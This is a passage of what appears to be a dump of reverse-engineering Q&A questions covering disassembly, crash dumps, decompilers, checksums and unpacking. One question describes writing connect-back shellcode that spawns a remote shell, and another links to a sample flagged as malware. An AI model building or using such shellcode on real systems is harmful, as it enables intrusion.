+0x00007ffffe7907aa <__libc_start_main+106>: mov    0x3a3707(%rip),%rax        # 0x7ffffeb33eb8
+0x00007ffffe7907b1 <__libc_start_main+113>: mov    0x8(%rsp),%rsi
+0x00007ffffe7907b6 <__libc_start_main+118>: mov    0x14(%rsp),%edi
+0x00007ffffe7907ba <__libc_start_main+122>: mov    (%rax),%rdx
+0x00007ffffe7907bd <__libc_start_main+125>: callq  *%rbp
+0x00007ffffe7907bf <__libc_start_main+127>: mov    0x3a36aa(%rip),%rax        # 0x7ffffeb33e70
+0x00007ffffe7907c6 <__libc_start_main+134>: mov    0x170(%rax),%r14d
+0x00007ffffe7907cd <__libc_start_main+141>: test   %r14d,%r14d
+0x00007ffffe7907d0 <__libc_start_main+144>: jne    0x7ffffe7908cb <__libc_start_main+395>
+0x00007ffffe7907d6 <__libc_start_main+150>: test   %ebx,%ebx
+0x00007ffffe7907d8 <__libc_start_main+152>: jne    0x7ffffe7908a8 <__libc_start_main+360>
+0x00007ffffe7907de <__libc_start_main+158>: lea    0x20(%rsp),%rdi
+0x00007ffffe7907e3 <__libc_start_main+163>: callq  0x7ffffe7a5250 <_setjmp>
+0x00007ffffe7907e8 <__libc_start_main+168>: test   %eax,%eax
+0x00007ffffe7907ea <__libc_start_main+170>: jne    0x7ffffe79083e <__libc_start_main+254>
+0x00007ffffe7907ec <__libc_start_main+172>: mov    %fs:0x300,%rax
+0x00007ffffe7907f5 <__libc_start_main+181>: mov    %rax,0x68(%rsp)
+0x00007ffffe7907fa <__libc_start_main+186>: mov    %fs:0x2f8,%rax
+0x00007ffffe790803 <__libc_start_main+195>: mov    %rax,0x70(%rsp)
+0x00007ffffe790808 <__libc_start_main+200>: lea    0x20(%rsp),%rax
+0x00007ffffe79080d <__libc_start_main+205>: mov    %rax,%fs:0x300
+0x00007ffffe790816 <__libc_start_main+214>: mov    0x3a369b(%rip),%rax        # 0x7ffffeb33eb8
+0x00007ffffe79081d <__libc_start_main+221>: mov    0x8(%rsp),%rsi
+0x00007ffffe790822 <__libc_start_main+226>: mov    0x14(%rsp),%edi
+0x00007ffffe790826 <__libc_start_main+230>: mov    (%rax),%rdx
+0x00007ffffe790829 <__libc_start_main+233>: mov    0x18(%rsp),%rax
+0x00007ffffe79082e <__libc_start_main+238>: callq  *%rax
+0x00007ffffe790830 <__libc_start_main+240>: mov    %eax,%edi
+0x00007ffffe790832 <__libc_start_main+242>: callq  0x7ffffe7aa030 <__GI_exit>
+0x00007ffffe790837 <__libc_start_main+247>: xor    %edx,%edx
+0x00007ffffe790839 <__libc_start_main+249>: jmpq   0x7ffffe790779 <__libc_start_main+57>
+0x00007ffffe79083e <__libc_start_main+254>: mov    0x3a8ecb(%rip),%rax        # 0x7ffffeb39710 <__libc_pthread_functions+400>
+0x00007ffffe790845 <__libc_start_main+261>: ror    $0x11,%rax
+0x00007ffffe790849 <__libc_start_main+265>: xor    %fs:0x30,%rax
+0x00007ffffe790852 <__libc_start_main+274>: callq  *%rax
+0x00007ffffe790854 <__libc_start_main+276>: mov    0x3a8ea5(%rip),%rax        # 0x7ffffeb39700 <__libc_pthread_functions+384>
+0x00007ffffe79085b <__libc_start_main+283>: ror    $0x11,%rax
+0x00007ffffe79085f <__libc_start_main+287>: xor    %fs:0x30,%rax
+0x00007ffffe790868 <__libc_start_main+296>: lock decl (%rax)
+0x00007ffffe79086b <__libc_start_main+299>: sete   %dl
+0x00007ffffe79086e <__libc_start_main+302>: test   %dl,%dl
+0x00007ffffe790870 <__libc_start_main+304>: je     0x7ffffe790892 <__libc_start_main+338>
+0x00007ffffe790872 <__libc_start_main+306>: xor    %eax,%eax
+0x00007ffffe790874 <__libc_start_main+308>: jmp    0x7ffffe790830 <__libc_start_main+240>
+0x00007ffffe790876 <__libc_start_main+310>: mov    0x8(%rsp),%rax
+0x00007ffffe79087b <__libc_start_main+315>: lea    0x16bdb3(%rip),%rdi        # 0x7ffffe8fc635
+0x00007ffffe790882 <__libc_start_main+322>: mov    (%rax),%rsi
+0x00007ffffe790885 <__libc_start_main+325>: xor    %eax,%eax
+0x00007ffffe790887 <__libc_start_main+327>: callq  *0x118(%rdx)
+0x00007ffffe79088d <__libc_start_main+333>: jmpq   0x7ffffe7907a5 <__libc_start_main+101>
+0x00007ffffe790892 <__libc_start_main+338>: mov    $0x3c,%edx
+0x00007ffffe790897 <__libc_start_main+343>: nopw   0x0(%rax,%rax,1)
+0x00007ffffe7908a0 <__libc_start_main+352>: xor    %edi,%edi
+0x00007ffffe7908a2 <__libc_start_main+354>: mov    %edx,%eax
+0x00007ffffe7908a4 <__libc_start_main+356>: syscall 
+0x00007ffffe7908a6 <__libc_start_main+358>: jmp    0x7ffffe7908a0 <__libc_start_main+352>
+0x00007ffffe7908a8 <__libc_start_main+360>: mov    0x8(%rsp),%rax
+0x00007ffffe7908ad <__libc_start_main+365>: mov    0x3a35bc(%rip),%rdx        # 0x7ffffeb33e70
+0x00007ffffe7908b4 <__libc_start_main+372>: lea    0x16bd94(%rip),%rdi        # 0x7ffffe8fc64f
+0x00007ffffe7908bb <__libc_start_main+379>: mov    (%rax),%rsi
+0x00007ffffe7908be <__libc_start_main+382>: xor    %eax,%eax
+0x00007ffffe7908c0 <__libc_start_main+384>: callq  *0x118(%rdx)
+0x00007ffffe7908c6 <__libc_start_main+390>: jmpq   0x7ffffe7907de <__libc_start_main+158>
+0x00007ffffe7908cb <__libc_start_main+395>: mov    0x168(%rax),%r13
+0x00007ffffe7908d2 <__libc_start_main+402>: mov    0x3a3527(%rip),%rax        # 0x7ffffeb33e00
+0x00007ffffe7908d9 <__libc_start_main+409>: xor    %r12d,%r12d
+0x00007ffffe7908dc <__libc_start_main+412>: mov    (%rax),%rbp
+0x00007ffffe7908df <__libc_start_main+415>: mov    0x18(%r13),%rax
+0x00007ffffe7908e3 <__libc_start_main+419>: test   %rax,%rax
+0x00007ffffe7908e6 <__libc_start_main+422>: je     0x7ffffe7908f8 <__libc_start_main+440>
+0x00007ffffe7908e8 <__libc_start_main+424>: mov    %r12d,%edi
+0x00007ffffe7908eb <__libc_start_main+427>: add    $0x47,%rdi
+0x00007ffffe7908ef <__libc_start_main+431>: shl    $0x4,%rdi
+0x00007ffffe7908f3 <__libc_start_main+435>: add    %rbp,%rdi
+0x00007ffffe7908f6 <__libc_start_main+438>: callq  *%rax
+0x00007ffffe7908f8 <__libc_start_main+440>: add    $0x1,%r12d
+0x00007ffffe7908fc <__libc_start_main+444>: mov    0x40(%r13),%r13
+0x00007ffffe790900 <__libc_start_main+448>: cmp    %r12d,%r14d
+0x00007ffffe790903 <__libc_start_main+451>: jne    0x7ffffe7908df <__libc_start_main+415>
+0x00007ffffe790905 <__libc_start_main+453>: jmpq   0x7ffffe7907d6 <__libc_start_main+150>
+
+ +
+ +And then eventually the assembler code of __GI_exit (again, whose code is not seen in the objdump of the program): + + + +
0x00007ffffe7aa030 <__GI_exit+0>:  lea    0x38a5c1(%rip),%rsi        # 0x7ffffeb345f8 <__exit_funcs>
+0x00007ffffe7aa037 <__GI_exit+7>:  sub    $0x8,%rsp
+0x00007ffffe7aa03b <__GI_exit+11>: mov    $0x1,%edx
+0x00007ffffe7aa040 <__GI_exit+16>: callq  0x7ffffe7a9f10 <__run_exit_handlers>
+
+ +
+ +And then a few more, and so on, until the program exits. + +
+ +So, my question is, how can I view this extra assembler code when objdumping my dynamically linked executable? + +I tried statically compiling it as well (the file was massive when I objdumped it), and there wasn't a 1-to-1 relationship in the dynamically linked code of the dynamically linked executable and the (formerly) dynamically linked code of the statically linked executable. + +I'm assuming there are some optimizations going on that contort the (formerly) dynamically linked code in the statically linked executable for the better. + +But my mission is to objdump the dynamically linked code in the dynamically linked executable; not to objdump the (formerly) dynamically linked code in the statically linked executable. +" +"['windows', 'driver', 'kernel']"," Title: Where can you find the name of a driver causing a kernel mode crash?Body: I am in an interesting situation. I have very limited Windows kernel experience, so I just don't know what data structure to look for in order to find what I need to know. + +There is a driver that is crashing Windows on my host machine. I know this much from examining the memory dump from the driver. + +
For analysis of this file, run !analyze -v
+nt!KeBugCheckEx:
+fffff807`4cdc14e0 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:fffff389`040e6990=00000000000000f7
+3: kd> !analyze -v
+*******************************************************************************
+*                                                                             *
+*                        Bugcheck Analysis                                    *
+*                                                                             *
+*******************************************************************************
+
+DRIVER_OVERRAN_STACK_BUFFER (f7)
+A driver has overrun a stack-based buffer.  This overrun could potentially
+allow a malicious user to gain control of this machine.
+DESCRIPTION
+A driver overran a stack-based buffer (or local variable) in a way that would
+have overwritten the function's return address and jumped back to an arbitrary
+address when the function returned.  This is the classic ""buffer overrun""
+hacking attack and the system has been brought down to prevent a malicious user
+from gaining complete control of it.
+Do a kb to get a stack backtrace -- the last routine on the stack before the
+buffer overrun handlers and bugcheck call is the one that overran its local
+variable(s).
+Arguments:
+Arg1: fffff389040e69d0, Actual security check cookie from the stack
+Arg2: 000041be41f88edc, Expected security check cookie
+Arg3: ffffbe41be077123, Complement of the expected security check cookie
+Arg4: 0000000000000000, zero
+
+Debugging Details:
+------------------
+
+
+KEY_VALUES_STRING: 1
+
+    Key  : Analysis.CPU.Sec
+    Value: 1
+
+    Key  : Analysis.DebugAnalysisProvider.CPP
+    Value: Create: 8007007e on DESKTOP-GS87ORM
+
+    Key  : Analysis.DebugData
+    Value: CreateObject
+
+    Key  : Analysis.DebugModel
+    Value: CreateObject
+
+    Key  : Analysis.Elapsed.Sec
+    Value: 9
+
+    Key  : Analysis.Memory.CommitPeak.Mb
+    Value: 64
+
+    Key  : Analysis.System
+    Value: CreateObject
+
+
+BUGCHECK_CODE:  f7
+
+BUGCHECK_P1: fffff389040e69d0
+
+BUGCHECK_P2: 41be41f88edc
+
+BUGCHECK_P3: ffffbe41be077123
+
+BUGCHECK_P4: 0
+
+SECURITY_COOKIE:  Expected 000041be41f88edc found fffff389040e69d0
+
+STACK_TEXT:  
+fffff389`040e6988 fffff807`4ce7c485 : 00000000`000000f7 fffff389`040e69d0 000041be`41f88edc ffffbe41`be077123 : nt!KeBugCheckEx
+fffff389`040e6990 fffff807`4cc4066c : 00000000`00000000 fffff807`4d21a91b 00000000`00000000 fffff389`040e74c0 : nt!_report_gsfailure+0x25
+fffff389`040e69d0 fffff389`040e6960 : fffff389`040e6970 fffff389`040e6980 fffff389`040e6990 fffff389`040e69a0 : nt!NtSetInformationWorkerFactory+0x35c
+fffff389`040e6b30 fffff389`040e6970 : fffff389`040e6980 fffff389`040e6990 fffff389`040e69a0 00000000`00000000 : 0xfffff389`040e6960
+fffff389`040e6b38 fffff389`040e6980 : fffff389`040e6990 fffff389`040e69a0 00000000`00000000 00000000`00000000 : 0xfffff389`040e6970
+fffff389`040e6b40 fffff389`040e6990 : fffff389`040e69a0 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e6980
+fffff389`040e6b48 fffff389`040e69a0 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e6990
+fffff389`040e6b50 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e69a0
+
+
+SYMBOL_NAME:  nt!_report_gsfailure+25
+
+MODULE_NAME: nt
+
+IMAGE_NAME:  ntkrnlmp.exe
+
+STACK_COMMAND:  .thread ; .cxr ; kb
+
+BUCKET_ID_FUNC_OFFSET:  25
+
+FAILURE_BUCKET_ID:  0xF7_MISSING_GSFRAME_nt!_report_gsfailure
+
+OS_VERSION:  10.0.18362.1
+
+BUILDLAB_STR:  19h1_release
+
+OSPLATFORM_TYPE:  x64
+
+OSNAME:  Windows 10
+
+FAILURE_ID_HASH:  {82d2c1b5-b0cb-60a5-9a5d-78c8c4284f84}
+
+Followup:     MachineOwner
+
+ +Main Question: Is it possible to directly extract the name of the crashing driver from a windows (kernel only) memory dump file? + +If not, is it possible to extract that information by enabling user mode crash dumps (by this I mean the ""active"" crash dump with by user and kernel space)? + +If it is possible, where should I look for the data structure to find this information? Is there a convenient Wdbg command that will get me close? + +My main goal is to examine the root cause of the driver's crashing behavior and possibly recreate the crash myself. +" +"['binary-analysis', 'linux', 'memory', 'python']"," Title: Prevent Memory Inspection in a Cython program?Body: Cython is a great way to protect the source code of a Python program. However, memory inspection and memory reverse engineering can still be done to this Cython program. + +What are ways to prevent (or make it very difficult) for an attacker to inspect the memory of the Cython program? +" +"['firmware', 'hardware']"," Title: What, tools do I need to break down the N64 console for private study?Body: Alright, I need to know this ASAP, I'm breaking down my own n64 console for private study on the n64 firmware and how it does what it does best. + +So, what tools would I need To break down this console? +would I need an n64 chip reader and writer for reading from the N64 chip inside of the console? +" +"['assembly', 'x86']"," Title: What are some useful strategies for understanding undocumented assembly language?Body: What are some useful strategies for tackling a list of undocumented assembly language instructions? Even as someone who writes assembly code, I find it to be challenging at times to understand someone else's code because the nature of assembly language means mentally having to keep track of CPU state at various points during the program. I've seen some success with getting a notepad and a pen and working through the program by hand. What are some other strategies? Let's take for example this function: + +
 ; cmp     edx,10
+       ; jae     internal_error
+    push    ebx ecx
+    push    eax
+    mov    ebx,eax
+    mov    ecx,edx
+    shld    edx,eax,2
+    sub    ebx,edx
+    sbb    ecx,0
+    mov    eax,ebx
+    mov    ebx,1999999Ah
+    mul    ebx
+    mov    eax,ecx
+    imul    eax,ebx
+    add    eax,edx
+    pop    edx
+    imul    ecx,eax,10
+    sub    edx,ecx
+    cmp    edx,10
+    jb    somewhere
+    sub    edx,10
+    inc    eax
+    pop    ecx ebx
+    retn
+
+ +Due to the nature of assembly language, it is not immediately apparent ""what this code actually does"" at a high level. To me, the process of understanding this is true ""reverse engineering"" but it doesn't necessarily need to apply to reading from a disassembler, it could just be someone else's assembler source code as well. In fact, sometimes without the help of IDA Pro or Binary Ninja disassembling a binary written in a HLL, reverse engineering assembly written in aassembly is more difficult. +" +"['windows', 'shellcode']"," Title: Why can I inherit handles from WSASocketA and not from socket?Body: I'm trying to write some custom shellcode to obtain a shell from a program. +Looking at the program intermodular calls, I found a call to socket(), and my initial plan was to use that to create a new socket, connect back and spawn a shell. + +I am able to to get a connection back, but unfortunately when I call CreateProcessA, I don't get any shell. + +After the call to socket() I have the socket descriptor in EAX: + + + +And then, after connect() (which works, I get the connection back on my netcat listener), I call CreateProcessA() and this are the parameters: + + + +InheritHandles is correctly set to TRUE. On the left panel I have dumped the StartUpInfo structure and as you can see the file descriptor is correctly added for all handles (first 3 bytes of the structure are all set to 200). Also the flag STARTF_USESTDHANDLES is correctly set. + +Unfortunately, this doesn't work. What surprises me is that if instead of using the address of the intermodular call to socket(), I use the address of WSASocketA (found using arwin), and without changing anything else (apart from adding the extra null arguments required for WSASocketA), I can get my shell. + +I don't understand why this is not happening with socket(), in fact, according to the documentation for the flag WSA_FLAG_NO_HANDLE_INHERIT of the WSASocketA: + +
+ Create a socket that is non-inheritable. + + A socket handle created by the WSASocket or the socket function is + inheritable by default. When this flag is set, the socket handle is + non-inheritable. +
+ +So I assumed that by default it should work with both functions. + +I don't know if this is relevant, but I'm testing it against a Windows 7 machine. +" +['crc']," Title: Finding the CRC / Checksum in a control unit messageBody: I have a list of messages from a control unit that i'm trying to replicate. +I have the body of the message correct, however, i can't seem to work out what CRC or checksum is being utilised. + +
00 FE 0F 32 A8 80 84 90
+00 FE 0F 32 A8 80 84 54
+00 FE FF 31 A8 80 84 38
+00 FE 0F 32 A8 80 84 DC
+00 FE 0F 32 A8 80 84 90
+00 FE 0F 32 A8 80 84 54
+00 FE 0F 32 A8 80 84 18
+00 FE 0F 32 A8 80 84 DC
+00 FE 0F 32 A8 80 84 90
+00 FE 1F 32 A8 80 84 44
+00 FE 0F 32 A8 80 84 18
+00 FE 0F 32 A8 80 84 DC
+00 FE AF 31 A8 80 84 4C
+00 FE BF 31 A8 80 84 F0
+00 FE CF 31 A8 80 84 A4
+
+ +I know the checksum is the last 4 bits in the last byte of the message. the other 4 bits in the last byte are a counter, that counts from 0 to 3 and then wraps back around. + +I know the whole message is little endian as well. + +I have run this in reveng (probably done it wrong) and it does not return any results. + +I was hoping someone smarter than me would be able to assist with identifying this. +" +"['patching', 'cheat-engine']"," Title: How to save a binary after patching it in cheat engine?Body: The title asks it all tho +But cheat engine will not allow you to save the patch binary so +what methods can I try to save it after I patch it in cheat engine? +" +"['decompilation', 'elf', 'struct']"," Title: Struct reconstruction in decompilersBody: I'm testing several decompilers about struct reconstruction, given the following C example: + + + +
struct S {
+    int x;
+    int y;
+    long z;
+    long t;
+};
+
+int foo(struct S s) {
+    return s.x + s.y + s.z + s.t;
+}
+
+int main() {
+    struct S s;
+    s.x = 10; s.y = 15; s.z = 20; s.t = 25;
+    return foo(s);
+}
+
+ +compiled without any optimization (even no stripping) using clang as a 64-bit ELF, i.e. the ABI is System V x86-64. + +I've supposed that this is a trivial case so the decent decompilers should give correct results, they are not unfortunately. + +Following result is given by IDA 7.4.191122: + + + +
int __cdecl main(int argc, const char **argv, const char **envp)
+{
+  __int64 v3; // r8
+  __int64 v4; // r9
+
+  return foo(*(__int64 *)&argc, (__int64)argv, (__int64)envp, 20LL, v3, v4, 0xF0000000ALL, 20, 25);
+}
+
+__int64 __fastcall foo(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, int a8, int a9)
+{
+  return (unsigned int)(a9 + a8 + HIDWORD(a7) + a7);
+}
+
+ +Next, JEB 3.7.0: + + + +
unsigned long main() {
+  return foo();
+}
+
+unsigned long foo() {
+  unsigned int v0 = v1 + v2;
+  return (unsigned long)(((unsigned int)(((long)v0 + v3 + v4)));
+}
+
+ +and Ghidra 9.1 + + + +
void main(void)
+{
+  foo();
+  return;
+}
+
+ulong foo(void)
+{
+  int param_7;
+  undefined8 param_7_00;
+  int iStack000000000000000c;
+  long param_8;
+  long param_9;
+
+  return (param_7 + iStack000000000000000c) + param_8 + param_9 & 0xffffffff;
+}
+
+ +I cannot say that the results are ""good"", they are not even correct. Did I miss some configuration for these decompilers? + +Edit: Because of request from @Tobias, I've added assembly code for the functions (and changed main into bar): + +This is foo: + + + +
0x0         55                                   push rbp
+0x1         48 89 e5                             mov rbp, rsp
+0x4         48 8d 45 10                          lea rax, [rbp+0x10]
+0x8         8b 08                                mov ecx, [rax]
+0xa         03 48 08                             add ecx, [rax+0x8]
+0xd         48 63 d1                             movsxd rdx, ecx
+0x10        48 03 50 10                          add rdx, [rax+0x10]
+0x14        48 03 50 18                          add rdx, [rax+0x18]
+0x18        48 0f be 40 04                       movsx rax, byte ptr [rax+0x4]
+0x1d        48 01 c2                             add rdx, rax
+0x20        89 d0                                mov eax, edx
+0x22        5d                                   pop rbp
+0x23        c3                                   ret
+
+
+ +and bar: + + + +
0x30        55                                   push rbp
+0x31        48 89 e5                             mov rbp, rsp
+0x34        48 83 ec 40                          sub rsp, 0x40
+0x38        c7 45 e0 0a 00 00 00                 mov dword ptr [rbp-0x20], 0xa
+0x3f        c7 45 e8 0f 00 00 00                 mov dword ptr [rbp-0x18], 0xf
+0x46        48 c7 45 f0 14 00 00 00              mov qword ptr [rbp-0x10], 0x14
+0x4e        48 c7 45 f8 19 00 00 00              mov qword ptr [rbp-0x8], 0x19
+0x56        c6 45 e4 1e                          mov byte ptr [rbp-0x1c], 0x1e
+0x5a        48 8d 45 e0                          lea rax, [rbp-0x20]
+0x5e        48 8b 08                             mov rcx, [rax]
+0x61        48 89 0c 24                          mov [rsp], rcx
+0x65        48 8b 48 08                          mov rcx, [rax+0x8]
+0x69        48 89 4c 24 08                       mov [rsp+0x8], rcx
+0x6e        48 8b 48 10                          mov rcx, [rax+0x10]
+0x72        48 89 4c 24 10                       mov [rsp+0x10], rcx
+0x77        48 8b 40 18                          mov rax, [rax+0x18]
+0x7b        48 89 44 24 18                       mov [rsp+0x18], rax
+0x80        e8 7b ff ff ff                       call foo
+0x85        48 83 c4 40                          add rsp, 0x40
+0x89        5d                                   pop rbp
+0x8a        c3                                   ret
+
+" +"['ida', 'assembly', 'android', 'arm', 'patching']"," Title: How to Modify CBZ Branch in ARM64?Body: + +If I want after running the CBZ W0, loc_C5C8 command +Run to the ADRP X8,#selRef_curent_version@PAGE command +regardless of the condition (in picture), what should I do? +" +"['debugging', 'malware', 'obfuscation']"," Title: API Hiding IssueBody: I'm trying to analyze a malware which is hiding API names. When I open it with CFF Explorer, except a few API like GetProcAddress, nothing appears. Basically, I know how API hiding works. I set a breakpoint on GetProcAddress() and I ran it. Then I saw decoded API names like OpenProcess, CreateMutex etc.. + +But I could not find its location in malware I'm analyzing. So, I cannot identify API parameters. + +How can I do this? + + +" +"['elf', 'dynamic-linking']"," Title: ELF file format find shared object for symbolBody: (in Windows) PE file format contains Import table with Module\Dll Name which tells PE loader where to search for symbol e.g. KERNEL32.dll -> CreateFileW + +In the ELF file format there is Symbol table with info field which tells if the symbol is Global\Local\Weak\etc. + +My question is how does the Unix loader know what is the module, shared object where to search for this symbol e.g. ???? -> snprintf + +I noticed objdump can dump this info objdump -T /bin/ls. + + GLIBC_2.2.5 snprintf + +Could someone with more knowledge on ELF file format shed some light on Unix dynamic-linking? +" +"['ida', 'disassembly', 'encryption']"," Title: How to recover randomly generated private key from a Program that implements Diffie Hellman ExchangeBody: This program implements Diffie Hellman key Exchange, a pair of random private keys are generated every time the program runs. How should I go about finding the random number generation subroutine using a disassembler like IDA? + +Warning: The program is flagged as malware by Windows Defender.
+hxxps://drive.google.com/open?id=1uErzKPIV-HyOBunn0ecF6pehXJ_mDdGR +" +"['x86-64', 'asm']"," Title: Isolate the call to a functionBody: Is it possible to call a function of a binary and obtain its result (without calling other functions), to isolate; are there any tools to do this? +" +"['decompilation', 'c', 'python', 'obfuscation', 'executable']"," Title: Best way to protect source code of .exe program running on Python?Body: I am developing proprietary software that would be distributed in a form of .exe file. In order to use it, users will have to authenticate with their whitelist credentials (username + password). + +The issue I have encountered is that in the industry I am selling on, there are a lot of ""hackers"" who will try to decompile your executable file, get the source code and distribute it for free to other people. + +To combat these reverse-engineering attempts, I have tried to both obfuscate my code and use various compilers, but so far to no success. + +What I have tried: + + + +Those who managed to decompile and deobfuscate my program explained that the open-source nature of those 4 tools means that their algorithms are well-known and there are solutions out there made to reverse-engineer programs that use these open-source compilers and obfuscators. + +What I didn't try yet: + + + +What I am not going to try: + + + +Please also consider that if ""hacker"" will be able to disable the whitelist system without even accessing the source code, he will be able to distribute it to other users with no limitation. Therefore, I am looking for a way that will not only make it extremely hard to decompile the program, but also make it almost impossible to meddle with bytecode/binaries and turn off certain parts of the program's code. +" +"['binary-analysis', 'firmware']"," Title: How can I find loading adress of eCos firmwareBody: From:https://www.tendacn.com/en/download/detail-3482.html + + +Im trying to find loading address (entry point of my program) for this binary, which is part off this firmware. Im trying to load it inside of IDA, how can I correctly load it, how to find entry point address? +binwalk's output: +" +"['hardware', 'usb', 'wireshark']"," Title: Export logic analyzer data to protocol analyzerBody: Probably I'm little ot but I'm unsure where to ask this. +Is there any easy (already working) way to export my logic analyzer data (vcd format) to a protocol analyzer like Wireshark? I'm analyzing an USB stream. +" +"['binary-analysis', 'file-format']"," Title: Are there existing automated approaches to reverse engineering the data types in a binary data stream?Body: Consider a stream of data packets of a known and consistent size, i.e., N bytes per packet. +Are there existing tools that automatically detect (or estimate) the various data types present and their arrangement in the packet? +My goal is to convert the data stream into a handful of time-series data signals by + +
    +
  1. deducing the arrangement and types of the data in the stream and
  2. +
  3. extracting each variable into its own signal array.
  4. +
+ +For example, the packet might consist of: + +
[double double int32 single int8 int8 int8 int8]
+
+ +but all I know is that the packet is 28 bytes long. +Let's assume that the only possible data types in the stream are: double, single, int32, int16, or uint8. +(I don't particularly care if I can disambiguate between char, int8, or uint8.) +Let's also assume everything is stored in bytes (no single bit flags or anything). + +

Some ideas

+ +Basically what I've tried so far is to exhaustively try every possible combination and arrangement of data types and then apply some heuristics to eliminate possibilities. +For example, I'll cast each set of 8 bytes as a double, shifting over 1 byte at a time, and then compute the variance of the resulting signal. +If the variance of the signal is >1e100, then we can probably safely say we've misidentified the type. +The problems that this approach runs into are that: + +
    +
  1. the heuristics are hard coded and not dependent on the data
  2. +
  3. the algorithm can easily mis-classify things, e.g., it can't necessarily differentiate between an int32 and a pair of int16.
  4. +
+ +I'm also aware of these two related questions: How to analyze binary file? and Tools to help reverse engineer binary file formats, +but these answers seem to only give manual tools that require the user to then play around with the data and make some guesses about its configuration. +So, my question is particularly interested in automatic approaches or tools for this job. + +This seems related to this question and its answer, but the methods mentioned there seem to be aimed at a more general task of inferring the communication protocol, and not necessarily(?) the datatypes of the packet's payload, so I'm not sure how suitable these programs are to the task I've described. +" +"['python', 'disassemblers']"," Title: How to to decompile a pyinstaller exe, back to source code?Body: Python versions, this method has been tried on: 3.7.5, 3.6.0, 3.5.0, 2.7.17? (I know, I'm just too desperate to get my source back.) + +I have problem with decompiling an exe. I kind of deleted the wrong folder and now I'm left with the .exe, made by pyinstaller and nothing else. So basically I googled how to decompile pyinstaller exes and I found that first I use this: https://github.com/countercept/python-exe-unpacker/blob/master/pyinstxtractor.py to dissasemble to .pyc files and then uncompyle6 to get the source. The problem is that pyinstxtractor doesn't return the source code in .pyc format so I basically had to convert it myself and then add the ""magic numbers"" to it so that uncompyle6 sees it as .pyc. If you are wondering how I got the magic numbers, well I just used a hex editor to see the magic numbers of another .pyc, that pyinstxtractor spat out and then I just pasted them in the main file. So after that, I write + +
uncompyle63 name_of_pyc.pyc
+
+ +and I get this error: + +
Traceback (most recent call last):
+  File ""c:\python\lib\site-packages\xdis\load.py"", line 208, in load_module_from_file_object
+    co = marshal.loads(bytecode)
+ValueError: bad marshal data (unknown type code)
+Traceback (most recent call last):
+  File ""c:\python\lib\site-packages\xdis\load.py"", line 208, in load_module_from_file_object
+    co = marshal.loads(bytecode)
+ValueError: bad marshal data (unknown type code)
+
+During handling of the above exception, another exception occurred:
+
+Traceback (most recent call last):
+  File ""c:\python\lib\runpy.py"", line 193, in _run_module_as_main
+    ""__main__"", mod_spec)
+  File ""c:\python\lib\runpy.py"", line 85, in _run_code
+    exec(code, run_globals)
+  File ""C:\Python\Scripts\uncompyle6.exe\__main__.py"", line 9, in <module>
+  File ""c:\python\lib\site-packages\uncompyle6\bin\uncompile.py"", line 194, in main_bin
+    **options)
+  File ""c:\python\lib\site-packages\uncompyle6\main.py"", line 261, in main
+    source_encoding, linemap_stream, do_fragments)
+  File ""c:\python\lib\site-packages\uncompyle6\main.py"", line 161, in decompile_file
+    source_size) = load_module(filename, code_objects)
+  File ""c:\python\lib\site-packages\xdis\load.py"", line 116, in load_module
+    get_code=get_code,
+  File ""c:\python\lib\site-packages\xdis\load.py"", line 222, in load_module_from_file_object
+    ""Ill-formed bytecode file %s\n%s; %s"" % (filename, kind, msg)
+ImportError: Ill-formed bytecode file Bot.pyc
+<class 'ValueError'>; bad marshal data (unknown type code)
+
+ +What are some other ways to decompile pyinstaller executables (If this one is useless)? +" +"['patching', 'function-hooking', 'javascript', 'hooking']"," Title: How to hook eval function in node.jsBody: As the eval() function of JavaScript is an evil, I want to hook or monkey-patch eval() function of JavaScript in node.js. I want to intercept all arguments passed in eval() function. Please guide me how to hook or monkey patch eval() function. +" +"['tools', 'usb', 'sniffing', 'wireshark']"," Title: Alternative for Wireshark for USB packet sniffingBody: I'm looking for alternative for Wireshark, with this requirements: + + + +Wireshark is great, but Lua API for writing dissectors miss some critical features, like conversations (linking request and response packets). +" +['ida']," Title: Is there a way to edit structure field value in memory during debugBody: I'm debugging some code and I know that there's a structure in memory, I have a definition of the structure, I apply it on memory, then I look at the structure field values, and I see that one of the fields of the structure contains the wrong value. Is there any way to change the structure field value? + +Currently I have to look for the offset of the field in structure definitions, then undefine the structure in memory, then go to the proper offset, change the value and reapply the structure again. +" +['ghidra']," Title: Ghidra loading Linux kernel function signaturesBody:

TLTR

+I want to load Linux kernel headers vs. 4.19 to Ghidra so that it recognizes kernel structures and function signatures. +

Full description

+I'm trying to reverse engineer a Linux kernel module (kernel version 4.19). +Ghidra does recognize correctly all function names such as: open, misc_register, etc., but it cannot determine their exact signatures. +Let's take as an example the copy_from_user() function with the signature: +
unsigned long copy_from_user (void *to, const void __user *from, unsigned long n);
+
+and here's how Ghidra sees it: +
undefined _copy_from_user (void)
+
+I believe that it won't be the last kernel module for me to reverse engineer, and so I would like to learn how to load all missing kernel structures to the program. +Moreover, I am aware that I can edit the function signature by hand, but I would then need to add plenty of structures by hand as well (such as struct file) and this would be very ineffective. +

What I've tried so far

+(I'm super new to Ghidra and if you know a better way to load Linux kernel headers, please just share.) +I've downloaded headers from Debian repository: +
$ wget linux-headers-4.19.0-6-common_4.19.67-2+deb10u2_all.deb .
+$ ls
+linux-headers-4.19.0-6-common_4.19.67-2+deb10u2_all.deb  usr
+$ ls /usr/src/
+linux-headers-4.19.0-6-common
+
+I extracted and copied the whole content of all files into all_headers.h (Ghidra didn't want to accept the directory itself. I couldn't find any information about loading files form Makefile as well) +
$ cat `find . | grep .h` > all_headers.h
+$ cat all_headers.h | wc -c
+29824650
+
+And I've provided all_headers.h to get parsed, but Ghidra has only added around 20 defines and no function signatures. + + +" +"['ida', 'ghidra']"," Title: CPU support by ghidraBody: Where can I see all the CPUs supported by Ghidra? + +Does Ghidra support more CPUs than IDA Pro? +" +"['deobfuscation', 'javascript']"," Title: How can I deobfuscate this javascript codeBody: I am trying to deobfuscate this javascript code, but I don't know how it was created. Can you please tell me what the mechanism or the function is that generate such characters in javascript? + +
